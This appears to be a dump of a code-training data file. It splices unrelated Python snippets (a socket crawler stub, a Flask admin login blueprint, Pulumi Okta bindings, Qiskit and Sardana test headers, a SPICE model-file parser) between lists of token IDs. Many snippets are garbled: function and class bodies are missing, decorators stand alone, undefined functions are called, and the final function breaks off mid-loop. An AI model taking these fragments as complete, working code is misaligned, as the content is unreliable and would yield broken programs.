220,
220,
220,
220,
1672,
34758,
6,
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16,
10354,
1391,
6,
16072,
16,
10354,
705,
32,
6,
11709,
198,
220,
220,
220,
1267,
198
] | 2.520668 | 2,516 |
# coding=utf8
import socket
from selectors2 import DefaultSelector, EVENT_READ, EVENT_WRITE
import time
url = 'xkcd.com'
selector = DefaultSelector()
stopped = False
res = []
@log_time
loop()
| [
2,
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28,
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23,
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628,
198,
31,
6404,
62,
2435,
198,
198,
26268,
3419,
198
] | 2.855072 | 69 |
from .tidy_verbs import * # noqa
from .. import _get_all_imports
__all__ = _get_all_imports(globals())
| [
6738,
764,
83,
19325,
62,
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220,
220,
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220,
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796,
4808,
1136,
62,
439,
62,
320,
3742,
7,
4743,
672,
874,
28955,
198
] | 2.361702 | 47 |
import math
time_first = int(input())
time_second = int(input())
time_third = int(input())
time_total = time_first + time_second + time_third
minutes = time_total / 60
seconds = time_total % 60
minutes = math.floor(minutes)
if seconds < 10:
print(f"{minutes}:0{seconds}")
else:
print(f"{minutes}:{seconds}") | [
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4943,
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25,
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220,
220,
3601,
7,
69,
1,
90,
1084,
1769,
92,
29164,
43012,
92,
4943
] | 2.652893 | 121 |
"""
Problem below is i did not know what is the return,
return list of items or return maximum
def knapsack(items,
cur_items_index,
capacity,
weights,
profits,
cur_items,
cur_profit,
cur_weight,
max_items,
max_profit):
if (cur_items_index > len(items)-1) or \
cur_weight < capacity:
return
"""
print(knapsack([2, 3, 1, 4], [4, 5, 3, 7], 5))
print(knapsack_memo([2, 3, 1, 4], [4, 5, 3, 7], 5))
print(knapsack([2, 3, 1, 4, 8], [4, 5, 3, 7, 15], 5))
print(knapsack_memo([2, 3, 1, 4, 8], [4, 5, 3, 7, 15], 5))
| [
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1312,
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11,
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11,
513,
11,
767,
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642,
4008,
198,
4798,
7,
15418,
1686,
441,
62,
11883,
78,
26933,
17,
11,
513,
11,
352,
11,
604,
4357,
685,
19,
11,
642,
11,
513,
11,
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642,
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198,
198,
4798,
7,
15418,
1686,
441,
26933,
17,
11,
513,
11,
352,
11,
604,
11,
807,
4357,
685,
19,
11,
642,
11,
513,
11,
767,
11,
1315,
4357,
642,
4008,
198,
4798,
7,
15418,
1686,
441,
62,
11883,
78,
26933,
17,
11,
513,
11,
352,
11,
604,
11,
807,
4357,
685,
19,
11,
642,
11,
513,
11,
767,
11,
1315,
4357,
642,
4008,
198
] | 2.148855 | 262 |
print("rl init")
| [
4798,
7203,
45895,
2315,
4943,
201,
198
] | 2.571429 | 7 |
import logging
from lxml import etree
from zeep import Plugin
from aeat import utils, xml_signing
logger = logging.getLogger(__name__)
class RawXMLPlugin(object):
'''
Stores last request and response as str
'''
| [
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7,
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220,
220,
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220,
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41835,
938,
2581,
290,
2882,
355,
965,
198,
220,
220,
220,
705,
7061,
198
] | 2.898734 | 79 |
from aiogram import types
from data import config
from loader import dp
from utils.misc import rate_limit
@rate_limit(5, 'help')
@dp.message_handler(commands=['help'])
| [
6738,
257,
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7,
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628
] | 3.109091 | 55 |
# projecteuler.net/problem=5
if __name__ == '__main__':
main()
| [
2,
1628,
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18173,
13,
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14,
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] | 2.181818 | 33 |
#!/usr/bin/env python
##############################################################################
##
# This file is part of Sardana
##
# http://www.sardana-controls.org/
##
# Copyright 2011 CELLS / ALBA Synchrotron, Bellaterra, Spain
##
# Sardana is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
##
# Sardana is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
##
# You should have received a copy of the GNU Lesser General Public License
# along with Sardana. If not, see <http://www.gnu.org/licenses/>.
##
##############################################################################
import os
import uuid
from unittest import TestCase
from tango import DevState
from taurus import Device
from taurus.test.base import insertTest
from .test_pool import is_numerical
from sardana.pool.pooldefs import AcqSynchType
from sardana.taurus.core.tango.sardana.pool import registerExtensions
from sardana.tango.pool.test.base_sartest import SarTestTestCase
@insertTest(helper_name="stress_count",
test_method_doc="stress count with CT (hardware trigger) and 0D",
elements=["_test_ct_1_1", "_test_0d_1_1"], repeats=100,
synchronizer="_test_tg_1_1", synchronization=AcqSynchType.Trigger)
@insertTest(helper_name="stress_count",
test_method_doc="stress count with CT (software trigger) and 0D",
elements=["_test_ct_1_1", "_test_0d_1_1"], repeats=100,
synchronizer="software", synchronization=AcqSynchType.Trigger)
@insertTest(helper_name="stress_count",
test_method_doc="stress count with CT (hardware start)",
elements=["_test_ct_1_1"], repeats=100,
synchronizer="_test_tg_1_1", synchronization=AcqSynchType.Start)
@insertTest(helper_name="stress_count",
test_method_doc="stress count with CT (software start)",
elements=["_test_ct_1_1"], repeats=100,
synchronizer="software", synchronization=AcqSynchType.Start)
@insertTest(helper_name="stress_count",
test_method_doc="stress count with CT (hardware trigger)",
elements=["_test_ct_1_1"], repeats=100,
synchronizer="_test_tg_1_1", synchronization=AcqSynchType.Trigger)
@insertTest(helper_name="stress_count",
test_method_doc="count with CT (software trigger)",
elements=["_test_ct_1_1"], repeats=100,
synchronizer="software", synchronization=AcqSynchType.Trigger)
| [
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2625,
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1600,
42133,
28,
12832,
80,
29934,
354,
6030,
13,
48344,
8,
198
] | 2.852492 | 983 |
import config
import telebot
bot = telebot.TeleBot(config.BOT_TOKEN)
@bot.message_handler(commands=['start'])
@bot.message_handler(content_types=["text"])
if __name__ == '__main__':
bot.polling(none_stop=True) | [
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#!/usr/bin/python2
# -*- coding: utf-8 -*-
#####################################################################
# This program is free software. It comes without any warranty, to #
# the extent permitted by applicable law. You can redistribute it #
# and/or modify it under the terms of the Do What The Fuck You Want #
# To Public License, Version 2, as published by Sam Hocevar. See #
# http://sam.zoy.org/wtfpl/COPYING for more details. #
#####################################################################
# A single simulation to run.
from agent import UAgent
from object import UObject
from universe import Universe
alice = UAgent( name='Alice',
can_do=['take', 'ask_if', 'ask_ref'],
goals=
[
(('know', 'Alice', ('location', 'pipo', 'Alice')),),
],
knowledge=[],
max_length_plan = 3
)
bob = UAgent( name='Bob',
can_do=['move', 'inform_if', 'inform_ref'],
goals=[],
knowledge=
[
('know', 'Bob', ('location', 'pipo', 0))
]
)
pipo = UObject('pipo')
uni = Universe(3)
uni.add(alice, 0)
uni.add(bob, 2)
uni.add(pipo, 0)
print(uni)
finished = False
i = 0
nb_iteration_max = 5
while not finished and i < nb_iteration_max:
print 'Itération %d' % i
uni.step()
i += 1
finished = uni.all_satisfied
if i == nb_iteration_max:
print 'Maximum number of iterations reached.'
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3601,
705,
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1271,
286,
34820,
4251,
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] | 2.284226 | 672 |
n = int(input('---- Sequência Fibonacci ----\nInsira a quantidade de termos: '))
t1 = 0
t2 = 1
print('{} -> {}'.format(t1, t2), end='')
contador = 3
while contador <= n+1:
t3 = t1 + t2
print(' -> {}'.format(t3) if contador != n+1 else ' -> Fim', end='')
t1 = t2
t2 = t3
contador += 1
| [
77,
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] | 2.192593 | 135 |
import json
from flask import Blueprint, flash, Markup, redirect, render_template, request,\
session
from libs import admin_authentication
from libs.admin_authentication import authenticate_admin_login,\
authenticate_admin_study_access, get_admins_allowed_studies, get_admins_allowed_studies_as_query_set,\
admin_is_system_admin
from libs.security import check_password_requirements
from database.models import Researcher, Study
admin_pages = Blueprint('admin_pages', __name__)
# TODO: Document.
@admin_pages.route('/choose_study', methods=['GET'])
@authenticate_admin_login
@admin_pages.route('/view_study/<string:study_id>', methods=['GET'])
@authenticate_admin_study_access
@admin_pages.route('/data-pipeline/<string:study_id>', methods=['GET'])
@authenticate_admin_study_access
"""########################## Login/Logoff ##################################"""
@admin_pages.route('/')
@admin_pages.route('/admin')
@admin_pages.route("/logout")
@admin_pages.route("/validate_login", methods=["GET", "POST"])
def login():
""" Authenticates administrator login, redirects to login page if authentication fails. """
if request.method == 'POST':
username = request.values["username"]
password = request.values["password"]
if Researcher.check_password(username, password):
admin_authentication.log_in_admin(username)
return redirect("/choose_study")
else:
flash("Incorrect username & password combination; try again.", 'danger')
return redirect("/")
@admin_pages.route('/manage_credentials')
@authenticate_admin_login
@admin_pages.route('/reset_admin_password', methods=['POST'])
@authenticate_admin_login
@admin_pages.route('/reset_download_api_credentials', methods=['POST'])
@authenticate_admin_login
| [
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32782,
6,
12962,
198,
31,
41299,
5344,
62,
28482,
62,
38235,
198
] | 3.006612 | 605 |
import cv2 | [
11748,
269,
85,
17
] | 2.5 | 4 |
"""
This file is part of the TheLMA (THe Laboratory Management Application) project.
See LICENSE.txt for licensing, CONTRIBUTORS.txt for contributor information.
Stock sample creation ISO mapper.
"""
from sqlalchemy.orm import relationship
from everest.repositories.rdb.utils import mapper
from thelma.entities.iso import ISO_TYPES
from thelma.entities.iso import IsoSectorPreparationPlate
from thelma.entities.iso import StockSampleCreationIso
__docformat__ = "reStructuredText en"
__all__ = ['create_mapper']
def create_mapper(iso_mapper, stock_sample_creation_iso_tbl):
"Mapper factory."
m = mapper(StockSampleCreationIso, stock_sample_creation_iso_tbl,
inherits=iso_mapper,
properties=dict(
iso_sector_preparation_plates=relationship(
IsoSectorPreparationPlate,
back_populates='iso',
cascade='all,delete,delete-orphan')),
polymorphic_identity=ISO_TYPES.STOCK_SAMPLE_GENERATION)
return m
| [
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220,
220,
220,
220,
220,
220,
736,
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220,
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220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
44847,
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11,
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11,
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12,
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272,
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220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
34196,
291,
62,
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28,
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62,
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47,
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13,
2257,
11290,
62,
49302,
16437,
62,
35353,
1137,
6234,
8,
198,
220,
220,
220,
1441,
285,
198
] | 2.401376 | 436 |
from plynx.db.service_state import get_master_state
from plynx.utils.common import JSONEncoder
from plynx.web.common import app, requires_auth, make_fail_response, handle_errors
@app.route('/plynx/api/v0/master_state', methods=['GET'])
@handle_errors
@requires_auth
| [
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198
] | 2.913043 | 92 |
from binaryninja import Symbol, Type, log
from binaryninja.enums import SymbolType
from .utils import BinjaStruct, read_pe_header, check_address
IMAGE_TLS_DIRECTORY32_t = BinjaStruct('<IIIIII', names = ('StartAddressOfRawData', 'EndAddressOfRawData', 'AddressOfIndex', 'AddressOfCallBacks', 'SizeOfZeroFill', 'Characteristics'))
IMAGE_TLS_DIRECTORY64_t = BinjaStruct('<QQQQII', names = ('StartAddressOfRawData', 'EndAddressOfRawData', 'AddressOfIndex', 'AddressOfCallBacks', 'SizeOfZeroFill', 'Characteristics'))
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] | 3.077381 | 168 |
"""
Author: Frederik Muller, [email protected]
Author: Matej Vido, [email protected]
Date: 04/2017
"""
import bcrypt
from flask import request
from bson import json_util, ObjectId
import pymongo
from slugify import slugify
from api import auth, db
from api.module import Module
from api.models.models import Category, CategoryException
from api.role import Role
category = Module('categories', __name__, url_prefix='/categories', no_version=True)
@auth.required(Role.admin)
@auth.required(Role.admin)
def remove_category(category_id):
"""
Remove the category
"""
category = Category.query.get_or_404(category_id)
try:
db.db.session.delete(category)
db.db.session.commit()
except Exception as e:
db.db.session.rollback()
print(e)
raise CategoryException("Could not remove category from database")
tmp = category.to_dict()
return(json_util.dumps(tmp))
@auth.required(Role.admin)
category.add_url_rule('', view_func=get_categories, methods=['GET'])
category.add_url_rule('', view_func=add_category, methods=['POST'])
category.add_url_rule('/<string:category_id>', view_func=get_category, methods=['GET'])
category.add_url_rule('/<string:category_id>', view_func=edit_category, methods=['PUT'])
category.add_url_rule('/<string:category_id>', view_func=remove_category, methods=['DELETE'])
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] | 2.893709 | 461 |
#!/usr/bin/python3
""" Amenity module """
from models.base_model import BaseModel
class Amenity(BaseModel):
""" Amenity class implementation """
name = ""
def __init__(self, *args, **kwargs):
""" Initialize in parent class """
super().__init__(self, *args, **kwargs)
| [
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] | 2.512 | 125 |
from copper_sdk.notes import NoteTarget
import names_generator
import json
import shared_procs
def create_task_note(copper_client, task_id, user_id):
"""Create a note for a Task
Attributes:
copper_client (copper_sdk.copper):
The CopperSDK client.
task_id (str):
The Id for the Task.
Returns:
The new note.
"""
notes = copper_client.notes()
target = NoteTarget.Task
name = names_generator.generate_name(style="capital")
content = f"{name} greets you from Python"
return notes.push(target, task_id, content, user_id)
def get_task_notes(copper_client, task_id):
"""Get notes of a Task.
Attributes:
copper_client (copper_sdk.copper):
The CopperSDK client.
task_id (str):
The Id for the Task.
Returns:
All notes for a Task.
"""
notes = copper_client.notes()
target = NoteTarget.Task
return notes.get(target, task_id)
def create_task_note_old(copper_client, task_id):
"""Create a note for a Task (old method)
Attributes:
copper_client (copper_sdk.copper):
The CopperSDK client.
task_id (str):
The Id for the Task.
Returns:
The new note.
"""
return copper_client.tasks().pull_notes(task_id)
def get_task_notes_old(copper_client, task_id):
"""Get notes of a Task (old method).
Attributes:
copper_client (copper_sdk.copper):
The CopperSDK client.
task_id (str):
The Id for the Task.
Returns:
All notes for a Task.
"""
name = names_generator.generate_name(style="capital")
content = f"{name} greets you from Python"
return copper_client.tasks().push_note(task_id, content)
def run_old(copper_client, config):
"""Old example on upload and download task notes.
This uses the notes fns of `copper_sdk.Task`.
"""
print("Old example on pushing Task Notes")
task_id = config["TASK_ID"]
print("Creating note for Task Id", task_id)
new_task_note = create_task_note_old(copper_client, task_id)
print("Note:", json.dumps(new_task_note))
shared_procs.wait()
print("Getting all notes for Task Id", task_id)
task_notes = get_task_notes_old(copper_client, task_id)
print(json.dumps(task_notes))
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13,
67,
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7,
35943,
62,
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198
] | 2.401423 | 984 |
import os.path
from .. import generate
TEST_PATH = os.path.dirname(__file__)
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import contextlib
import functools
import io
import pathlib
import sys
import typing
import unittest
from nprintml import cli
from test.base import mktestdir
TEST_ROOT = pathlib.Path(__file__).parent.parent
TEST_DATA = TEST_ROOT / 'data'
def testdir(func):
"""Decorator to wrap given function such that a temporary directory
is created and destroyed for each invocation.
"""
@functools.wraps(func)
return wrapper
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] | 3.083333 | 144 |
from py4j.java_gateway import java_import
from .utils import datetime_to_nanos
import numpy as np
import pandas as pd
class DateTimeIndex(object):
"""
A DateTimeIndex maintains a bi-directional mapping between integers and an ordered collection of
date-times. Multiple date-times may correspond to the same integer, implying multiple samples
at the same date-time.
To avoid confusion between the meaning of "index" as it appears in "DateTimeIndex" and "index"
as a location in an array, in the context of this class, we use "location", or "loc", to refer
to the latter.
"""
def __len__(self):
"""Returns the number of timestamps included in the index."""
return self._jdt_index.size()
def _zdt_to_nanos(self, zdt):
"""Extracts nanoseconds from a ZonedDateTime"""
instant = zdt.toInstant()
return instant.getNano() + instant.getEpochSecond() * 1000000000
def first(self):
"""Returns the earliest timestamp in the index, as a Pandas Timestamp."""
return pd.Timestamp(self._zdt_to_nanos(self._jdt_index.first()))
def last(self):
"""Returns the latest timestamp in the index, as a Pandas Timestamp."""
return pd.Timestamp(self._zdt_to_nanos(self._jdt_index.last()))
def datetime_at_loc(self, loc):
"""Returns the timestamp at the given integer location as a Pandas Timestamp."""
return pd.Timestamp(self._zdt_to_nanos(self._jdt_index.dateTimeAtLoc(loc)))
def islice(self, start, end):
"""
Returns a new DateTimeIndex, containing a subslice of the timestamps in this index,
as specified by the given integer start and end locations.
Parameters
----------
start : int
The location of the start of the range, inclusive.
end : int
The location of the end of the range, exclusive.
"""
jdt_index = self._jdt_index.islice(start, end)
return DateTimeIndex(jdt_index=jdt_index)
def to_pandas_index(self):
"""Returns a pandas.DatetimeIndex representing the same date-times"""
# TODO: we can probably speed this up for uniform indices
arr = self._jdt_index.toNanosArray()
return pd.DatetimeIndex(arr)
class DayFrequency(_Frequency):
"""
A frequency that can be used for a uniform DateTimeIndex, where the period is given in days.
"""
class HourFrequency(_Frequency):
"""
A frequency that can be used for a uniform DateTimeIndex, where the period is given in hours.
"""
class BusinessDayFrequency(object):
"""
A frequency that can be used for a uniform DateTimeIndex, where the period is given in
business days. The first day of the business week is specified where Monday=1, Tuesday=2,
and so on.
"""
def uniform(start, end=None, periods=None, freq=None, sc=None):
"""
Instantiates a uniform DateTimeIndex.
Either end or periods must be specified.
Parameters
----------
start : string, long (nanos from epoch), or Pandas Timestamp
end : string, long (nanos from epoch), or Pandas Timestamp
periods : int
freq : a frequency object
sc : SparkContext
"""
dtmodule = sc._jvm.com.cloudera.sparkts.__getattr__('DateTimeIndex$').__getattr__('MODULE$')
if freq is None:
raise ValueError("Missing frequency")
elif end is None and periods == None:
raise ValueError("Need an end date or number of periods")
elif end is not None:
return DateTimeIndex(dtmodule.uniformFromInterval( \
datetime_to_nanos(start), datetime_to_nanos(end), freq._jfreq))
else:
return DateTimeIndex(dtmodule.uniform( \
datetime_to_nanos(start), periods, freq._jfreq))
def irregular(timestamps, sc):
"""
Instantiates an irregular DateTimeIndex.
Parameters
----------
timestamps : a Pandas DateTimeIndex, or an array of strings, longs (nanos from epoch), Pandas
Timestamps
sc : SparkContext
"""
dtmodule = sc._jvm.com.cloudera.sparkts.__getattr__('DateTimeIndex$').__getattr__('MODULE$')
arr = sc._gateway.new_array(sc._jvm.long, len(timestamps))
for i in xrange(len(timestamps)):
arr[i] = datetime_to_nanos(timestamps[i])
return DateTimeIndex(dtmodule.irregular(arr))
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] | 2.646562 | 1,658 |
#-*- codingg:utf8 -*-
from PyQt5.QtWidgets import QMainWindow,QFontDialog, QApplication,QMenu,QAction,QFileDialog,QDockWidget,QMessageBox,QDesktopWidget,QTableWidget
from PyQt5.QtGui import QIcon,QFont,QKeySequence
from PyQt5.QtCore import Qt,QSettings,QThread,pyqtSignal
from ViewWidget import ViewWidget
from DiffWidget import RowDiffWidget,CellDiffWidget,ColDiffWidget
from ChangeColorWidget import ChangeColorWidget
from Model import MyXlsx
from Algorithm import MyAlg
import sys,math,hashlib
if __name__=="__main__":
app = QApplication(sys.argv)
main = MainWindow()
main.setWindowIcon(QIcon("icon/opennew.ico"))
main.show()
sys.exit(app.exec_()) | [
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] | 2.566787 | 277 |
import numpy as np
import theano
from ..utils.activation import *
from ..utils import weights
from .base import Layer
__all__ = [
"Convolutional2DLayer"
]
class Convolutional2DLayer(Layer):
'''
Standard Convolutional 2D Layer
'''
# -------------------- #
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] | 2.978495 | 93 |
import random
| [
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] | 4.666667 | 3 |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = [
'GetOidcResult',
'AwaitableGetOidcResult',
'get_oidc',
]
@pulumi.output_type
class GetOidcResult:
"""
A collection of values returned by getOidc.
"""
@property
@pulumi.getter(name="authorizationBinding")
def authorization_binding(self) -> str:
"""
The method of making an authorization request.
"""
return pulumi.get(self, "authorization_binding")
@property
@pulumi.getter(name="authorizationUrl")
def authorization_url(self) -> str:
"""
IdP Authorization Server (AS) endpoint to request consent from the user and obtain an authorization code grant.
"""
return pulumi.get(self, "authorization_url")
@property
@pulumi.getter(name="clientId")
def client_id(self) -> str:
"""
Unique identifier issued by AS for the Okta IdP instance.
"""
return pulumi.get(self, "client_id")
@property
@pulumi.getter(name="clientSecret")
def client_secret(self) -> str:
"""
Client secret issued by AS for the Okta IdP instance.
"""
return pulumi.get(self, "client_secret")
@property
@pulumi.getter
def id(self) -> Optional[str]:
"""
id of idp.
"""
return pulumi.get(self, "id")
@property
@pulumi.getter(name="issuerMode")
def issuer_mode(self) -> str:
"""
Indicates whether Okta uses the original Okta org domain URL, or a custom domain URL.
"""
return pulumi.get(self, "issuer_mode")
@property
@pulumi.getter(name="issuerUrl")
def issuer_url(self) -> str:
"""
URI that identifies the issuer.
"""
return pulumi.get(self, "issuer_url")
@property
@pulumi.getter(name="jwksBinding")
def jwks_binding(self) -> str:
"""
The method of making a request for the OIDC JWKS.
"""
return pulumi.get(self, "jwks_binding")
@property
@pulumi.getter(name="jwksUrl")
def jwks_url(self) -> str:
"""
Endpoint where the keys signer publishes its keys in a JWK Set.
"""
return pulumi.get(self, "jwks_url")
@property
@pulumi.getter(name="maxClockSkew")
def max_clock_skew(self) -> int:
"""
Maximum allowable clock-skew when processing messages from the IdP.
"""
return pulumi.get(self, "max_clock_skew")
@property
@pulumi.getter
def name(self) -> Optional[str]:
"""
name of the idp.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="protocolType")
def protocol_type(self) -> str:
"""
The type of protocol to use.
"""
return pulumi.get(self, "protocol_type")
@property
@pulumi.getter
def scopes(self) -> Sequence[str]:
"""
The scopes of the IdP.
"""
return pulumi.get(self, "scopes")
@property
@pulumi.getter(name="tokenBinding")
def token_binding(self) -> str:
"""
The method of making a token request.
"""
return pulumi.get(self, "token_binding")
@property
@pulumi.getter(name="tokenUrl")
def token_url(self) -> str:
"""
IdP Authorization Server (AS) endpoint to exchange the authorization code grant for an access token.
"""
return pulumi.get(self, "token_url")
@property
@pulumi.getter
def type(self) -> str:
"""
type of idp.
"""
return pulumi.get(self, "type")
@property
@pulumi.getter(name="userInfoBinding")
def user_info_binding(self) -> str:
"""
The method of making a user info request.
"""
return pulumi.get(self, "user_info_binding")
@property
@pulumi.getter(name="userInfoUrl")
def user_info_url(self) -> str:
"""
Protected resource endpoint that returns claims about the authenticated user.
"""
return pulumi.get(self, "user_info_url")
# pylint: disable=using-constant-test
def get_oidc(id: Optional[str] = None,
name: Optional[str] = None,
opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableGetOidcResult:
"""
Use this data source to retrieve a OIDC IdP from Okta.
## Example Usage
```python
import pulumi
import pulumi_okta as okta
example = okta.idp.get_oidc(name="Example Provider")
```
:param str id: The id of the idp to retrieve, conflicts with `name`.
:param str name: The name of the idp to retrieve, conflicts with `id`.
"""
__args__ = dict()
__args__['id'] = id
__args__['name'] = name
if opts is None:
opts = pulumi.InvokeOptions()
if opts.version is None:
opts.version = _utilities.get_version()
__ret__ = pulumi.runtime.invoke('okta:idp/getOidc:getOidc', __args__, opts=opts, typ=GetOidcResult).value
return AwaitableGetOidcResult(
authorization_binding=__ret__.authorization_binding,
authorization_url=__ret__.authorization_url,
client_id=__ret__.client_id,
client_secret=__ret__.client_secret,
id=__ret__.id,
issuer_mode=__ret__.issuer_mode,
issuer_url=__ret__.issuer_url,
jwks_binding=__ret__.jwks_binding,
jwks_url=__ret__.jwks_url,
max_clock_skew=__ret__.max_clock_skew,
name=__ret__.name,
protocol_type=__ret__.protocol_type,
scopes=__ret__.scopes,
token_binding=__ret__.token_binding,
token_url=__ret__.token_url,
type=__ret__.type,
user_info_binding=__ret__.user_info_binding,
user_info_url=__ret__.user_info_url)
| [
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220,
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2836,
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62,
6371,
28,
834,
1186,
834,
13,
7220,
62,
10951,
62,
6371,
8,
198
] | 2.272422 | 2,676 |
# ----------------- Debuggable Decorators ----------------- #
# [1] metadata attached to original function is hidden
def greet():
"""return a friendly greeting. """
return 'Hi, there!'
print(greet.__name__)
print(greet.__doc__)
decorated_greet = uppercase(greet)
print(decorated_greet.__name__)
print(decorated_greet.__doc__)
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] | 2.889831 | 118 |
# -*- coding: utf-8 -*-
# This code is part of Qiskit.
#
# (C) Copyright IBM 2020.
#
# This code is licensed under the Apache License, Version 2.0. You may
# obtain a copy of this license in the LICENSE.txt file in the root directory
# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.
#
# Any modifications or derivative works of this code must retain this
# copyright notice, and modified files need to carry a notice indicating
# that they have been altered from the originals.
""" Bell nonlocality testing class."""
import qiskit
import cplex
import itertools
import functools
import collections
import numpy as np
from math import ceil
try:
from matplotlib import pyplot as plt
PLT = True
except ImportError:
PLT = False
try:
shell = get_ipython().__class__.__name__
if shell == 'ZMQInteractiveShell' or "google.colab._shell":
from tqdm import tqdm_notebook as tqdm
else:
from tqdm import tqdm as tqdm
except NameError:
from tqdm import tqdm as tqdm
from qiskit.ignis.verification.nonlocality.bell_scenario import BellScenario
from typing import Optional, Sequence, Union, List, Dict
NumType = Union[int, float, complex]
StateType = Union[qiskit.quantum_info.states.DensityMatrix,
qiskit.quantum_info.states.Statevector,
np.ndarray, List[List[NumType]]]
GateType = Union[qiskit.circuit.Gate, qiskit.quantum_info.Operator,
List[List[NumType]], np.ndarray]
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58,
33111,
6030,
60,
4357,
45941,
13,
358,
18747,
60,
628
] | 2.747698 | 543 |
import logging
from leapp.libraries.actor.rpmtransactionconfigtaskscollector import load_tasks, load_tasks_file
from leapp.libraries.stdlib import api
from leapp.models import RPM, InstalledRedHatSignedRPM
RH_PACKAGER = 'Red Hat, Inc. <http://bugzilla.redhat.com/bugzilla>'
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] | 2.957447 | 94 |
from .._ingenialink import ffi, lib
from enum import IntEnum
def err_ipb_last():
"""Get IPB last last occurred error."""
return int(ffi.cast("int", lib.ilerr_ipb_last()))
class CONFIGURATION_ERRORS(IntEnum):
"""Configuration errors."""
INCORRECT_ACCESS_TYPE = 0x06010000
OBJECT_NOT_EXIST = 0x06020000
OBJECT_NOT_CYCLIC_MAPPABLE = 0x06040041
CYCLIC_MAPPING_TOO_LARGE = 0x06040042
WRONG_CYCLIC_KEY = 0x08010000
WRONG_CYCLIC_REGISTER_SIZE = 0x06070010
COMMUNICATION_STATE_UNREACHABLE = 0x08010010
COMMUNICATION_NOT_MODIFIABLE = 0x08010020
UNSUPPORTED_REGISTER_VALUE = 0x060A0000
INVALID_COMMAND = 0x08010030
CRC_ERROR = 0x08010040
UNSUPPORTED_SYNCHRONIZATION = 0x00007400
ACTIVE_FEEDBACKS_HIGHER_THAN_ALLOWED = 0x00007500
COMKIT_TIMEOUT = 0x05040000
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#!/usr/bin/env python
# coding: utf-8
# In[1]:
import re
#*******************************************************
# user input:
# MOSNAME eg: lvnemos4_1p2_lvpw
# MOSTYPE eg: _ne_1p2
# LIB_FILENAME = '501per_35_VcA.lib'
# MDL_FILENAME = '501per_35_VcA.mdl'
#********************************************************
MOSNAME = '_llv_rvtp'
MOSTYPE = '_llv_rvtp'
LIB_FILENAME = 'trident_1d2_mos.lib' # 这里需要自己改一下lib和mdl的文件名作为路径。测试阶段先取这个方式来打开文件。
MDL_FILENAME = 'trident_1d2_mos.mdl'
# In[2]:
def get_dict_of_lib(LIB_FILENAME):
"""输入LIB的文件名，返回各个CORNER名为键，其对应的行内容为值的字典。"""
f = open(LIB_FILENAME).readlines()
for line_number, line in enumerate(f):
if ".lib statistical_mc" in line:
end_of_corners_in_lib = line_number
print("初步定位到总LIB的第%d行之前的内容为LIB需要分裂出的内容。"%end_of_corners_in_lib)
list_of_corners_star2end_tuples = []
for line_number, line in enumerate(f[:end_of_corners_in_lib]):
if ".lib" in line:
single_corner_start = line_number
if ".endl" in line:
single_corner_end = line_number
list_of_corners_star2end_tuples.append((single_corner_start, single_corner_end))
corner_param_dict = {}
for t in list_of_corners_star2end_tuples:
key = f[t[0]].split()[1] # tt_llv_corner as key
value = f[t[0]:t[1]+1]
corner_param_dict[key] = value
print("%s已经存入字典，其内容对应行号为%d到%d"%(key, t[0], t[1]))
return corner_param_dict
# In[3]:
def get_dict_of_single_mostype_dict_of_lib(corner_param_dict):
"""紧接着corner_param_dict = get_dict_of_lib(LIB_FILENAME)后面调用，传入含有多个MOSTYPE的LIB字典。
输出只剩一种MOSTYPE的字典。"""
reg_content = "\+.*?" + MOSTYPE + "\s*="
mark_foronetypemos_incorner = re.compile(reg_content)
single_mostype_corner_param_dict = {}
print("和你输入的MOSTYPE匹配的每个CORNER的首行和尾行如下！")
for k in corner_param_dict:
v = corner_param_dict[k]
new_v = []
for line in v:
if mark_foronetypemos_incorner.search(line):
new_v.append(line)
single_mostype_corner_param_dict[k] = new_v
print(new_v[0], new_v[-1])
print("********************************************************************************************************")
return single_mostype_corner_param_dict
# In[4]:
# In[5]:
#corner_param_dict = get_dict_of_lib(LIB_FILENAME)
#get_dict_of_single_mostype_dict_of_lib(corner_param_dict)
# In[6]:
def get_blank_striped_mdl(MDL_FILENAME, MOSNAME):
"""输出是去除了空行的mdl内容。"""
f = open(MDL_FILENAME).readlines()
content_temp_start = '.subckt\s*' + MOSNAME + "\s"
regex_temp_start = re.compile(content_temp_start)
content_temp_end = '.ends\s*' + MOSNAME + "\s"
regex_temp_end = re.compile(content_temp_end)
for line_number, line in enumerate(f):
if regex_temp_start.search(line):
print("定位到总MDL文件的第%d行作为临时起始行"%line_number)
temp_start = line_number
if regex_temp_end.search(line):
print("定位到总MDL文件的第%d行作为临时终止行"%line_number)
temp_end = line_number
tuple_of_linenumber_for_mdl_in_use = (temp_start, temp_end)
temp_start = tuple_of_linenumber_for_mdl_in_use[0] # '.subckt\s*'的行号
temp_end = tuple_of_linenumber_for_mdl_in_use[1] # '.ends\s*'的行号
mdl_in_use = f[temp_start: temp_end+1]
for line_number, line in enumerate(mdl_in_use):
if ".model" in line:
newstart = line_number
mdl_content = mdl_in_use[newstart:]
startlinenumberinoriginalmdl = newstart + temp_start # '.model'在'.subckt\s*'和'.ends\s*'之间的行号
print("定位到总MDL文件的第%d行作为真正的起始行"%startlinenumberinoriginalmdl)
blank_striped_mdl_content = []
for line_number, line in enumerate(mdl_content):
if line.strip() == "":
print("第%d行是空行。"%(startlinenumberinoriginalmdl + line_number ))
continue
blank_striped_mdl_content.append(line)
blank_striped_mdl_content
print("根据你输入的MOSNAME:%s,将从原总MDL中复制第%d行到第%d行。"%(MOSNAME, startlinenumberinoriginalmdl, temp_end))
print("********************************************************************************************************")
return blank_striped_mdl_content
# In[7]:
def clean_all_mis_in_one_line(line):
"""利用从右向左的机制去一直去除_mis参数，返回除去干净了的Line。"""
while True:
if '_mis' in line:
startof_mis = line.rfind('_mis') # 从右向左，找到了_mis的位置
